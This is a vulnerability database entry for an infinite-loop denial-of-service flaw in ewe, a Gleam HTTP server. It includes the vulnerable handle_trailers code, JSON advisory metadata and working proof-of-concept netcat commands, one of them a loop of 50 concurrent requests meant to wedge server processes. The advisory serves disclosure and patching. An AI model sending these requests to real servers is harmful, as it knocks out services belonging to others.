GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-4W98-XF39-23GP

Vulnerability from github – Published: 2026-03-16 20:49 – Updated: 2026-04-24 20:27
VLAI
Summary
Loop with Unreachable Exit Condition ('Infinite Loop') in ewe
Details

Summary

ewe's handle_trailers function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.

Impact

When handle_trailers (ewe/internal/http1.gleam:493) encounters a trailer that is either not in the declared trailer set or is blocked by is_forbidden_trailer, three code paths (lines 520, 523, 526) recurse with the original buffer rest instead of Buffer(header_rest, 0):

// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)
False -> handle_trailers(req, set, rest)

This causes decoder.decode_packet to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.

Any ewe application that calls ewe.read_body on chunked requests is affected. This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside read_body before control returns to application code.

Proof of Concept

Send a chunked request with a forbidden trailer (host) to trigger the infinite loop:

printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 3 localhost 8080

This will hang (no response) until the nc timeout. The server-side handler process is stuck forever.

Exhaust server resources with concurrent requests:

for i in $(seq 1 50); do
  printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 1 localhost 8080 &
done

Open the Erlang Observer (observer:start()) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.

Vulnerable Code

All three False/Error branches in handle_trailers have the same bug:

// ewe/internal/http1.gleam, lines 493–531
fn handle_trailers(
  req: Request(BitArray),
  set: Set(String),
  rest: Buffer,
) -> Request(BitArray) {
  case decoder.decode_packet(HttphBin, rest) {
    Ok(Packet(HttpEoh, _)) -> req
    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {
      // ... field name parsing ...
      case field_name {
        Ok(field_name) -> {
          case
            set.contains(set, field_name) && !is_forbidden_trailer(field_name)
          {
            True -> {
              case bit_array.to_string(value) {
                Ok(value) -> {
                  request.set_header(req, field_name, value)
                  |> handle_trailers(set, Buffer(header_rest, 0))  // correct
                }
                Error(Nil) -> handle_trailers(req, set, rest)      // BUG: line 520
              }
            }
            False -> handle_trailers(req, set, rest)               // BUG: line 523
          }
        }
        Error(Nil) -> handle_trailers(req, set, rest)              // BUG: line 526
      }
    }
    _ -> req
  }
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "ewe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.0"
            },
            {
              "fixed": "3.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-825",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T20:49:50Z",
    "nvd_published_at": "2026-03-20T02:16:35Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\newe\u0027s `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.\n\n## Impact\n\nWhen `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:\n\n```gleam\n// Line 523 \u2014 uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)\nFalse -\u003e handle_trailers(req, set, rest)\n```\n\nThis causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.\n\n**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround \u2014 the infinite loop is triggered inside `read_body` before control returns to application code.\n\n### Proof of Concept\n\n**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**\n\n```sh\nprintf \u0027POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n\u0027 | nc -w 3 localhost 8080\n```\n\nThis will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.\n\n**Exhaust server resources with concurrent requests:**\n\n```sh\nfor i in $(seq 1 50); do\n  printf \u0027POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n\u0027 | nc -w 1 localhost 8080 \u0026\ndone\n```\n\nOpen the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.\n\n### Vulnerable Code\n\nAll three `False`/`Error` branches in `handle_trailers` have the same bug:\n\n```gleam\n// ewe/internal/http1.gleam, lines 493\u2013531\nfn handle_trailers(\n  req: Request(BitArray),\n  set: Set(String),\n  rest: Buffer,\n) -\u003e Request(BitArray) {\n  case decoder.decode_packet(HttphBin, rest) {\n    Ok(Packet(HttpEoh, _)) -\u003e req\n    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -\u003e {\n      // ... field name parsing ...\n      case field_name {\n        Ok(field_name) -\u003e {\n          case\n            set.contains(set, field_name) \u0026\u0026 !is_forbidden_trailer(field_name)\n          {\n            True -\u003e {\n              case bit_array.to_string(value) {\n                Ok(value) -\u003e {\n                  request.set_header(req, field_name, value)\n                  |\u003e handle_trailers(set, Buffer(header_rest, 0))  // correct\n                }\n                Error(Nil) -\u003e handle_trailers(req, set, rest)      // BUG: line 520\n              }\n            }\n            False -\u003e handle_trailers(req, set, rest)               // BUG: line 523\n          }\n        }\n        Error(Nil) -\u003e handle_trailers(req, set, rest)              // BUG: line 526\n      }\n    }\n    _ -\u003e req\n  }\n}\n```",
  "id": "GHSA-4w98-xf39-23gp",
  "modified": "2026-04-24T20:27:31Z",
  "published": "2026-03-16T20:49:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-4w98-xf39-23gp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32873"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vshakitskiy/ewe/commit/8513de9dcdd0005f727c0f6f15dd89f8d626f560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vshakitskiy/ewe/commit/d8b9b8a86470c0cb5696647997c2f34763506e37"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vshakitskiy/ewe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027) in ewe"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…